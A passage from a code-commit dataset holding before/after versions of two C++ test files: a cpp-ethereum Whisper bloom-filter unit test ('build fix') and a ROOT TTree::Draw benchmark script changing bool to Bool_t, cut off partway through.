b00011000);\t\n\ttestAddNonExisting(f, b00110000);\n\tBOOST_REQUIRE(f.contains(b00111000));\t\n\ttestAddNonExisting(f, b00110010);\t\n\ttestAddNonExisting(f, b00000110);\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(f.contains(b00110111));\n\n\tf.removeRaw(b00000001);\n\tf.removeRaw(b00000001);\n\tf.removeRaw(b00000001);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00010000);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00111000);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.addRaw(b00000001);\n\tBOOST_REQUIRE(f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(f.contains(b00110111));\n\n\tf.removeRaw(b00110111);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(!f.contains(b00110000));\n\tBOOST_REQUIRE(!f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(!f.contains(b00000110));\n\tBOOST_REQUIRE(!f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00110111);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(!f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(!f.contains(b00110000));\n\tBOOST_REQUIRE(!f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(!f.contains(b00000110));\n\tBOOST_REQUIRE(!f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n}\n\nstatic const unsigned DistributionTestSize = 8;\nstatic const unsigned TestArrSize = 8 * DistributionTestSize;\n\nvoid updateDistribution(FixedHash<DistributionTestSize> const& _h, array<unsigned, TestArrSize>& _distribution)\n{\n\tunsigned bits = 0;\n\tfor (unsigned i = 0; i < DistributionTestSize; ++i)\n\t\tif (_h[i])\n\t\t\tfor (unsigned j = 0; j < 8; ++j)\n\t\t\t\tif (_h[i] & c_powerOfTwoBitMmask[j])\n\t\t\t\t{\n\t\t\t\t\t_distribution[i * 8 + j]++;\n\t\t\t\t\tif (++bits >= TopicBloomFilterTest::BitsPerBloom)\n\t\t\t\t\t\treturn;\n\t\t\t\t}\n}\n\nBOOST_AUTO_TEST_CASE(distributionRate)\n{\n\tcnote << \"Testing Bloom Filter Distribution Rate...\";\n\n\tarray<unsigned, TestArrSize> distribution;\n\tfor (unsigned i = 0; i < TestArrSize; ++i)\n\t\tdistribution[i] = 0;\n\n\tTopic x(0xC0FFEE); \/\/ deterministic pseudorandom value\n\n\tfor (unsigned i = 0; i < 22000; ++i)\n\t{\n\t\tx = sha3(x);\n\t\tFixedHash<DistributionTestSize> h = x.template bloomPart<TopicBloomFilterTest::BitsPerBloom, DistributionTestSize>();\n\t\tupdateDistribution(h, distribution);\n\t}\n\n\tunsigned average = 0;\n\tfor (unsigned i = 0; i < TestArrSize; ++i)\n\t\taverage += distribution[i];\n\n\taverage \/= TestArrSize;\n\tunsigned deviation = average \/ 10; \/\/ approx. 10%\n\tunsigned maxAllowed = average + deviation;\n\tunsigned minAllowed = average - deviation;\n\n\tfor (unsigned i = 0; i < TestArrSize; ++i)\n\t{\n\t\t\/\/cnote << i << \":\" << distribution[i];\n\t\tBOOST_REQUIRE(distribution[i] > minAllowed);\n\t\tBOOST_REQUIRE(distribution[i] < maxAllowed);\n\t}\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>build fix<commit_after>\/*\nThis file is part of cpp-ethereum.\n\ncpp-ethereum is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\ncpp-ethereum is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file whisperMessage.cpp\n* @author Vladislav Gluhovsky <vlad@ethdev.com>\n* @date June 2015\n*\/\n\n#include <boost\/test\/unit_test.hpp>\n#include <libdevcore\/SHA3.h>\n#include <libwhisper\/BloomFilter.h>\n\nusing namespace std;\nusing namespace dev;\nusing namespace dev::shh;\n\nusing TopicBloomFilterShort = TopicBloomFilterBase<4>;\nusing TopicBloomFilterTest = TopicBloomFilterBase<TopicBloomFilterSize>;\n\nvoid testAddNonExisting(TopicBloomFilterShort& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(!_f.containsRaw(_h));\n\t_f.addRaw(_h);\n\tBOOST_REQUIRE(_f.containsRaw(_h));\n}\n\nvoid testRemoveExisting(TopicBloomFilterShort& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(_f.containsRaw(_h));\n\t_f.removeRaw(_h);\n\tBOOST_REQUIRE(!_f.containsRaw(_h));\n}\n\nvoid testAddNonExistingBloom(TopicBloomFilterShort& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(!_f.containsBloom(_h));\n\t_f.addBloom(_h);\n\tBOOST_REQUIRE(_f.containsBloom(_h));\n}\n\nvoid testRemoveExistingBloom(TopicBloomFilterShort& _f, AbridgedTopic const& _h)\n{\n\tBOOST_REQUIRE(_f.containsBloom(_h));\n\t_f.removeBloom(_h);\n\tBOOST_REQUIRE(!_f.containsBloom(_h));\n}\n\ndouble calculateExpected(TopicBloomFilterTest const& f, int n)\n{\n\tint const m = f.size * 8; \/\/ number of bits in the bloom\n\tint const k = BitsPerBloom; \/\/ number of hash functions (e.g. bits set to 1 in every bloom)\n\n\tdouble singleBitSet = 1.0 \/ m; \/\/ probability of any bit being set after inserting a single bit\n\tdouble singleBitNotSet = (1.0 - singleBitSet);\n\n\tdouble singleNot = 1; \/\/ single bit not set after inserting N elements in the bloom filter\n\tfor (int i = 0; i < k * n; ++i)\n\t\tsingleNot *= singleBitNotSet;\n\n\tdouble single = 1.0 - singleNot; \/\/ probability of a single bit being set after inserting N elements in the bloom filter\n\n\tdouble kBitsSet = 1; \/\/ probability of K bits being set after inserting N elements in the bloom filter\n\tfor (int i = 0; i < k; ++i)\n\t\tkBitsSet *= single;\n\n\treturn kBitsSet;\n}\n\ndouble testFalsePositiveRate(TopicBloomFilterTest const& f, int inserted, Topic& x)\n{\n\tint const c_sampleSize = 1000;\n\tint falsePositive = 0;\n\n\tfor (int i = 0; i < c_sampleSize; ++i)\n\t{\n\t\tx = sha3(x);\n\t\tAbridgedTopic a(x);\n\t\tif (f.containsBloom(a))\n\t\t\t++falsePositive;\n\t}\n\n\tdouble res = double(falsePositive) \/ double(c_sampleSize);\n\n\tdouble expected = calculateExpected(f, inserted);\n\tdouble allowed = expected * 1.2 + 0.05; \/\/ allow deviations ~25%\n\n\t\/\/cnote << \"Inserted: \" << inserted << \", False Positive Rate: \" << res << \", Expected: \" << expected;\n\tBOOST_REQUIRE(res <= allowed);\n\treturn expected;\n}\n\nBOOST_AUTO_TEST_SUITE(bloomFilter)\n\nBOOST_AUTO_TEST_CASE(falsePositiveRate)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Bloom Filter False Positive Rate...\";\n\n\tTopicBloomFilterTest f;\n\tTopic x(0xC0DEFEED); \/\/ deterministic pseudorandom value\n\n\tdouble expectedRate = 0;\n\n\tfor (int i = 1; i < 50 && isless(expectedRate, 0.5); ++i)\n\t{\n\t\tx = sha3(x);\n\t\tf.addBloom(AbridgedTopic(x));\n\t\texpectedRate = testFalsePositiveRate(f, i, x);\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(bloomFilterRandom)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Bloom Filter matching...\";\n\n\tTopicBloomFilterShort f;\n\tvector<AbridgedTopic> vec;\n\tTopic x(0xDEADBEEF);\n\tint const c_rounds = 4;\n\n\tfor (int i = 0; i < c_rounds; ++i, x = sha3(x))\n\t\tvec.push_back(abridge(x));\n\n\tfor (int i = 0; i < c_rounds; ++i) \n\t\ttestAddNonExisting(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i)\n\t\ttestRemoveExisting(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i) \n\t\ttestAddNonExistingBloom(f, vec[i]);\n\n\tfor (int i = 0; i < c_rounds; ++i)\n\t\ttestRemoveExistingBloom(f, vec[i]);\n}\n\nBOOST_AUTO_TEST_CASE(bloomFilterRaw)\n{\n\tVerbosityHolder setTemporaryLevel(10);\n\tcnote << \"Testing Raw Bloom matching...\";\n\n\tTopicBloomFilterShort f;\n\n\tAbridgedTopic b00000001(0x01);\n\tAbridgedTopic b00010000(0x10);\n\tAbridgedTopic b00011000(0x18);\n\tAbridgedTopic b00110000(0x30);\n\tAbridgedTopic b00110010(0x32);\n\tAbridgedTopic b00111000(0x38);\n\tAbridgedTopic b00000110(0x06);\n\tAbridgedTopic b00110110(0x36);\n\tAbridgedTopic b00110111(0x37);\n\n\ttestAddNonExisting(f, b00000001);\n\ttestAddNonExisting(f, b00010000);\t\n\ttestAddNonExisting(f, b00011000);\t\n\ttestAddNonExisting(f, b00110000);\n\tBOOST_REQUIRE(f.contains(b00111000));\t\n\ttestAddNonExisting(f, b00110010);\t\n\ttestAddNonExisting(f, b00000110);\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(f.contains(b00110111));\n\n\tf.removeRaw(b00000001);\n\tf.removeRaw(b00000001);\n\tf.removeRaw(b00000001);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00010000);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00111000);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.addRaw(b00000001);\n\tBOOST_REQUIRE(f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(f.contains(b00110000));\n\tBOOST_REQUIRE(f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(f.contains(b00000110));\n\tBOOST_REQUIRE(f.contains(b00110110));\n\tBOOST_REQUIRE(f.contains(b00110111));\n\n\tf.removeRaw(b00110111);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(!f.contains(b00110000));\n\tBOOST_REQUIRE(!f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(!f.contains(b00000110));\n\tBOOST_REQUIRE(!f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n\n\tf.removeRaw(b00110111);\n\tBOOST_REQUIRE(!f.contains(b00000001));\n\tBOOST_REQUIRE(!f.contains(b00010000));\n\tBOOST_REQUIRE(!f.contains(b00011000));\n\tBOOST_REQUIRE(!f.contains(b00110000));\n\tBOOST_REQUIRE(!f.contains(b00110010));\n\tBOOST_REQUIRE(!f.contains(b00111000));\n\tBOOST_REQUIRE(!f.contains(b00000110));\n\tBOOST_REQUIRE(!f.contains(b00110110));\n\tBOOST_REQUIRE(!f.contains(b00110111));\n}\n\nstatic const unsigned DistributionTestSize = 8;\nstatic const unsigned TestArrSize = 8 * DistributionTestSize;\n\nvoid updateDistribution(FixedHash<DistributionTestSize> const& _h, array<unsigned, TestArrSize>& _distribution)\n{\n\tunsigned bits = 0;\n\tfor (unsigned i = 0; i < DistributionTestSize; ++i)\n\t\tif (_h[i])\n\t\t\tfor (unsigned j = 0; j < 8; ++j)\n\t\t\t\tif (_h[i] & c_powerOfTwoBitMmask[j])\n\t\t\t\t{\n\t\t\t\t\t_distribution[i * 8 + j]++;\n\t\t\t\t\tif (++bits >= BitsPerBloom)\n\t\t\t\t\t\treturn;\n\t\t\t\t}\n}\n\nBOOST_AUTO_TEST_CASE(distributionRate)\n{\n\tcnote << \"Testing Bloom Filter Distribution Rate...\";\n\n\tarray<unsigned, TestArrSize> distribution;\n\tfor (unsigned i = 0; i < TestArrSize; ++i)\n\t\tdistribution[i] = 0;\n\n\tTopic x(0xC0FFEE); \/\/ deterministic pseudorandom value\n\n\tfor (unsigned i = 0; i < 22000; ++i)\n\t{\n\t\tx = sha3(x);\n\t\tFixedHash<DistributionTestSize> h = x.template bloomPart<BitsPerBloom, DistributionTestSize>();\n\t\tupdateDistribution(h, distribution);\n\t}\n\n\tunsigned average = 0;\n\tfor (unsigned i = 0; i < TestArrSize; ++i)\n\t\taverage += distribution[i];\n\n\taverage \/= TestArrSize;\n\tunsigned deviation = average \/ 10; \/\/ approx. 10%\n\tunsigned maxAllowed = average + deviation;\n\tunsigned minAllowed = average - deviation;\n\n\tfor (unsigned i = 0; i < TestArrSize; ++i)\n\t{\n\t\t\/\/cnote << i << \":\" << distribution[i];\n\t\tBOOST_REQUIRE(distribution[i] > minAllowed);\n\t\tBOOST_REQUIRE(distribution[i] < maxAllowed);\n\t}\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"}
{"text":"<commit_before>#include \"TTree.h\"\n#include \"TFile.h\"\n#include \"TList.h\"\n#include <TBenchmark.h>\n\nint gHasLibrary = kFALSE;\nTList gSkipped;\n\nvoid DrawSkippable(TTree* tree, const char* what, const char* where, bool skip) {\n  \/\/cerr << \"Doing \" << what << \" which is \" << skip << endl;\n  if (skip) gSkipped.Add(new TNamed(where,where));\n  else {\n    TString cut = what;\n    cut.Append(\">>\");\n    cut.Append(where);\n    tree->Draw(cut.Data(),\"\",\"goff\");\n  }\n};\n\nvoid DrawSkippable(TTree* tree, const char* what, const char* cond,\n                   const char* where, bool skip) {\n  \/\/cerr << \"Doing \" << what << \" which is \" << skip << endl;\n  if (skip) gSkipped.Add(new TNamed(where,where));\n  else {\n    TString cut = what;\n    cut.Append(\">>\");\n    cut.Append(where);\n    tree->Draw(cut.Data(),cond,\"goff\");\n  }\n};\n\n\/\/ Rootmarks for fcdflnx1 is 153.4\nvoid DrawMarks() {\n\n  \/\/ The base is currently: RunDrawTest.C++(\"Event.old.split.root\",0)\n  Float_t rt_base = 2.33;\n  Float_t cp_base = 2.34;\n\n  Float_t rt = gBenchmark->GetRealTime(\"DrawTest\");\n  Float_t ct = gBenchmark->GetCpuTime(\"DrawTest\");\n\n  \/\/ gBenchmark->Print(\"DrawTest\");\n  \n  Float_t rootmarks = 200*(rt_base + cp_base)\/(rt + ct);\n  \n  printf(\"*  ROOTMARKS =%6.1f   *  Root%-8s  %d\/%d\\n\",rootmarks,gROOT->GetVersion(),gROOT->GetVersionDate(),gROOT->GetVersionTime());\n \n}\n\n\n\/\/_______________________________________________________________\nTDirectory* GenerateDrawHist(TTree *tree,int level = 1)\n{\n\/\/ Test selections via TreeFormula\n\/\/ tree is a TTree when called by stress9\n\/\/ tree is a TChain when called from stres11\n\/\/ This is a quite complex test checking the results of TTree::Draw\n\/\/ or TChain::Draw with an explicit loop on events.\n\/\/ Also a good test for the interpreter\n\n   gROOT->cd();\n   TDirectory *hfile = gDirectory;\n\n   gBenchmark = new TBenchmark();\n   gBenchmark->Start(\"DrawTest\");\n   \n   \/\/ Each tree->Draw generates an histogram\n   DrawSkippable(tree,\"GetNtrack()\",\"hGetNtrack\",!(level>0 && gHasLibrary));\n\n   \/\/gBenchmark->Show(\"DrawTest\");  gBenchmark->Start(\"DrawTest\");\n\n   tree->Draw(\"fNtrack>>hNtrack\",    \"\",\"goff\");\n   tree->Draw(\"fNseg>>hNseg\",        \"\",\"goff\");\n   tree->Draw(\"fTemperature>>hTemp\", \"\",\"goff\");\n\n   tree->Draw(\"fH.GetMean()>>hHmean\",\"\",\"goff\");\n   if (level>0) tree->Draw(\"fH.fXaxis.fXmax>>hHAxisMax\",\"\",\"goff\");\n   if (level>0) tree->Draw(\"fH.fXaxis.GetXmax()>>hHAxisGetMax\",\"\",\"goff\");\n   DrawSkippable(tree,\"fH.GetXaxis().GetXmax()\",\"hHGetAxisGetMax\",!(level>0));\n   DrawSkippable(tree,\"fH.GetXaxis().fXmax\",\"hHGetAxisMax\",!(level>0));\n   DrawSkippable(tree,\"GetHistogram().GetXaxis().GetXmax()\",\"hGetHGetAxisMax\",\n                 !(level>0&&gHasLibrary));\n   DrawSkippable(tree,\"event.GetHistogram().GetXaxis().GetXmax()\",\n                 \"hGetRefHGetAxisMax\",!(level>0&&gHasLibrary));\n\n   tree->Draw(\"fTracks.fPx>>hPx\",\"fEvtHdr.fEvtNum%10 == 0\",\"goff\");\n   tree->Draw(\"fTracks.fPy>>hPy\",\"fEvtHdr.fEvtNum%10 == 0\",\"goff\");\n   tree->Draw(\"fTracks.fPz>>hPz\",\"fEvtHdr.fEvtNum%10 == 0\",\"goff\");\n   tree->Draw(\"fRandom>>hRandom\",\"fEvtHdr.fEvtNum%10 == 1\",\"goff\");\n   tree->Draw(\"fMass2>>hMass2\",  \"fEvtHdr.fEvtNum%10 == 1\",\"goff\");\n   tree->Draw(\"fBx>>hBx\",        \"fEvtHdr.fEvtNum%10 == 1\",\"goff\");\n   tree->Draw(\"fBy>>hBy\",        \"fEvtHdr.fEvtNum%10 == 1\",\"goff\");\n   tree->Draw(\"fXfirst>>hXfirst\",\"fEvtHdr.fEvtNum%10 == 2\",\"goff\");\n   tree->Draw(\"fYfirst>>hYfirst\",\"fEvtHdr.fEvtNum%10 == 2\",\"goff\");\n   tree->Draw(\"fZfirst>>hZfirst\",\"fEvtHdr.fEvtNum%10 == 2\",\"goff\");\n   tree->Draw(\"fXlast>>hXlast\",  \"fEvtHdr.fEvtNum%10 == 3\",\"goff\");\n   tree->Draw(\"fYlast>>hYlast\",  \"fEvtHdr.fEvtNum%10 == 3\",\"goff\");\n   tree->Draw(\"fZlast>>hZlast\",  \"fEvtHdr.fEvtNum%10 == 3\",\"goff\");\n   tree->Draw(\"fCharge>>hCharge\",\"fPx < 0\",\"goff\");\n   tree->Draw(\"fNpoint>>hNpoint\",\"fPx < 0\",\"goff\");\n   tree->Draw(\"fValid>>hValid\",  \"fPx < 0\",\"goff\");\n\n   tree->Draw(\"fMatrix>>hFullMatrix\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][0]>>hColMatrix\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[1][]>>hRowMatrix\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[2][2]>>hCellMatrix\",\"\",\"goff\");\n\n   tree->Draw(\"fMatrix - fVertex>>hFullOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[2][1] - fVertex[5][1]>>hCellOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][1]  - fVertex[5][1]>>hColOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[2][]  - fVertex[5][2]>>hRowOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[2][]  - fVertex[5][]>>hMatchRowOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][2]  - fVertex[][1]>>hMatchColOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][2]  - fVertex[][]>>hRowMatOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][2]  - fVertex[5][]>>hMatchDiffOper\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][]   - fVertex[][]>>hFullOper2\",\"\",\"goff\");\n\n   \/\/ Test on variable arrays\n   tree->Draw(\"fClosestDistance>>hClosestDistance\",\"\",\"goff\");\n   tree->Draw(\"fClosestDistance[2]>>hClosestDistance2\",\"\",\"goff\");\n   tree->Draw(\"fClosestDistance[9]>>hClosestDistance9\",\"\",\"goff\");\n\n   \/\/ Test variable indexing\n   DrawSkippable(tree,\"fClosestDistance[fNvertex\/2]\",\"hClosestDistanceIndex\",\n                 !(level>0));\n   DrawSkippable(tree,\"fPx:fPy[fNpoint]\",\"fPy[fNpoint]>0\",\"hPxInd\",!(level>0));\n\n   \/\/ Test of simple function calls\n   DrawSkippable(tree,\"sqrt(fNtrack)\",\"hSqrtNtrack\",!(level>0));   \n\n   \/\/ Test string operations\n   DrawSkippable(tree,\"fEvtHdr.fEvtNum\",\"fType==\\\"type1\\\" \",\"hString\",!(level>0));\n   DrawSkippable(tree,\"fEvtHdr.fEvtNum\",\"strstr(fType,\\\"1\\\") \",\"+hString\",!(level>0));\n\n   \/\/ Test binary operators\n   DrawSkippable(tree,\"fValid<<4\",\"hShiftValid\",!(level>0));\n   DrawSkippable(tree,\"((fValid<<4)>>2)\",\"+hShiftValid\",!(level>0));\n   DrawSkippable(tree,\"fValid&0x1\",\"(fNvertex>10) && (fNseg<=6000)\"\n                 ,\"hAndValid\",!(level>0));\n\n   \/\/ Test weight\n   DrawSkippable(tree,\"fPx\",\"(fBx>.4) || (fBy<=-.4)\",\"hPxBx\",!(level>0));\n   DrawSkippable(tree,\"fPx\",\"fBx*fBx*(fBx>.4) + fBy*fBy*(fBy<=-.4)\",\n                 \"hPxBxWeight\",!(level>0));\n  \n   gBenchmark->Show(\"DrawTest\");  gBenchmark->Start(\"DrawTest\");\n\n   return hfile;\n\n}\n<commit_msg>Replace non portable type bool by Bool_t<commit_after>#include \"TTree.h\"\n#include \"TFile.h\"\n#include \"TList.h\"\n#include <TBenchmark.h>\n\nint gHasLibrary = kFALSE;\nTList gSkipped;\n\nvoid DrawSkippable(TTree* tree, const char* what, const char* where, Bool_t skip) {\n  \/\/cerr << \"Doing \" << what << \" which is \" << skip << endl;\n  if (skip) gSkipped.Add(new TNamed(where,where));\n  else {\n    TString cut = what;\n    cut.Append(\">>\");\n    cut.Append(where);\n    tree->Draw(cut.Data(),\"\",\"goff\");\n  }\n};\n\nvoid DrawSkippable(TTree* tree, const char* what, const char* cond,\n                   const char* where, Bool_t skip) {\n  \/\/cerr << \"Doing \" << what << \" which is \" << skip << endl;\n  if (skip) gSkipped.Add(new TNamed(where,where));\n  else {\n    TString cut = what;\n    cut.Append(\">>\");\n    cut.Append(where);\n    tree->Draw(cut.Data(),cond,\"goff\");\n  }\n};\n\n\/\/ Rootmarks for fcdflnx1 is 153.4\nvoid DrawMarks() {\n\n  \/\/ The base is currently: RunDrawTest.C++(\"Event.old.split.root\",0)\n  Float_t rt_base = 2.33;\n  Float_t cp_base = 2.34;\n\n  Float_t rt = gBenchmark->GetRealTime(\"DrawTest\");\n  Float_t ct = gBenchmark->GetCpuTime(\"DrawTest\");\n\n  \/\/ gBenchmark->Print(\"DrawTest\");\n  \n  Float_t rootmarks = 200*(rt_base + cp_base)\/(rt + ct);\n  \n  printf(\"*  ROOTMARKS =%6.1f   *  Root%-8s  %d\/%d\\n\",rootmarks,gROOT->GetVersion(),gROOT->GetVersionDate(),gROOT->GetVersionTime());\n \n}\n\n\n\/\/_______________________________________________________________\nTDirectory* GenerateDrawHist(TTree *tree,int level = 1)\n{\n\/\/ Test selections via TreeFormula\n\/\/ tree is a TTree when called by stress9\n\/\/ tree is a TChain when called from stres11\n\/\/ This is a quite complex test checking the results of TTree::Draw\n\/\/ or TChain::Draw with an explicit loop on events.\n\/\/ Also a good test for the interpreter\n\n   gROOT->cd();\n   TDirectory *hfile = gDirectory;\n\n   gBenchmark = new TBenchmark();\n   gBenchmark->Start(\"DrawTest\");\n   \n   \/\/ Each tree->Draw generates an histogram\n   DrawSkippable(tree,\"GetNtrack()\",\"hGetNtrack\",!(level>0 && gHasLibrary));\n\n   \/\/gBenchmark->Show(\"DrawTest\");  gBenchmark->Start(\"DrawTest\");\n\n   tree->Draw(\"fNtrack>>hNtrack\",    \"\",\"goff\");\n   tree->Draw(\"fNseg>>hNseg\",        \"\",\"goff\");\n   tree->Draw(\"fTemperature>>hTemp\", \"\",\"goff\");\n\n   tree->Draw(\"fH.GetMean()>>hHmean\",\"\",\"goff\");\n   if (level>0) tree->Draw(\"fH.fXaxis.fXmax>>hHAxisMax\",\"\",\"goff\");\n   if (level>0) tree->Draw(\"fH.fXaxis.GetXmax()>>hHAxisGetMax\",\"\",\"goff\");\n   DrawSkippable(tree,\"fH.GetXaxis().GetXmax()\",\"hHGetAxisGetMax\",!(level>0));\n   DrawSkippable(tree,\"fH.GetXaxis().fXmax\",\"hHGetAxisMax\",!(level>0));\n   DrawSkippable(tree,\"GetHistogram().GetXaxis().GetXmax()\",\"hGetHGetAxisMax\",\n                 !(level>0&&gHasLibrary));\n   DrawSkippable(tree,\"event.GetHistogram().GetXaxis().GetXmax()\",\n                 \"hGetRefHGetAxisMax\",!(level>0&&gHasLibrary));\n\n   tree->Draw(\"fTracks.fPx>>hPx\",\"fEvtHdr.fEvtNum%10 == 0\",\"goff\");\n   tree->Draw(\"fTracks.fPy>>hPy\",\"fEvtHdr.fEvtNum%10 == 0\",\"goff\");\n   tree->Draw(\"fTracks.fPz>>hPz\",\"fEvtHdr.fEvtNum%10 == 0\",\"goff\");\n   tree->Draw(\"fRandom>>hRandom\",\"fEvtHdr.fEvtNum%10 == 1\",\"goff\");\n   tree->Draw(\"fMass2>>hMass2\",  \"fEvtHdr.fEvtNum%10 == 1\",\"goff\");\n   tree->Draw(\"fBx>>hBx\",        \"fEvtHdr.fEvtNum%10 == 1\",\"goff\");\n   tree->Draw(\"fBy>>hBy\",        \"fEvtHdr.fEvtNum%10 == 1\",\"goff\");\n   tree->Draw(\"fXfirst>>hXfirst\",\"fEvtHdr.fEvtNum%10 == 2\",\"goff\");\n   tree->Draw(\"fYfirst>>hYfirst\",\"fEvtHdr.fEvtNum%10 == 2\",\"goff\");\n   tree->Draw(\"fZfirst>>hZfirst\",\"fEvtHdr.fEvtNum%10 == 2\",\"goff\");\n   tree->Draw(\"fXlast>>hXlast\",  \"fEvtHdr.fEvtNum%10 == 3\",\"goff\");\n   tree->Draw(\"fYlast>>hYlast\",  \"fEvtHdr.fEvtNum%10 == 3\",\"goff\");\n   tree->Draw(\"fZlast>>hZlast\",  \"fEvtHdr.fEvtNum%10 == 3\",\"goff\");\n   tree->Draw(\"fCharge>>hCharge\",\"fPx < 0\",\"goff\");\n   tree->Draw(\"fNpoint>>hNpoint\",\"fPx < 0\",\"goff\");\n   tree->Draw(\"fValid>>hValid\",  \"fPx < 0\",\"goff\");\n\n   tree->Draw(\"fMatrix>>hFullMatrix\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[][0]>>hColMatrix\",\"\",\"goff\");\n   tree->Draw(\"fMatrix[1][]>>hRowMatrix\",\"\",\"goff\");\n   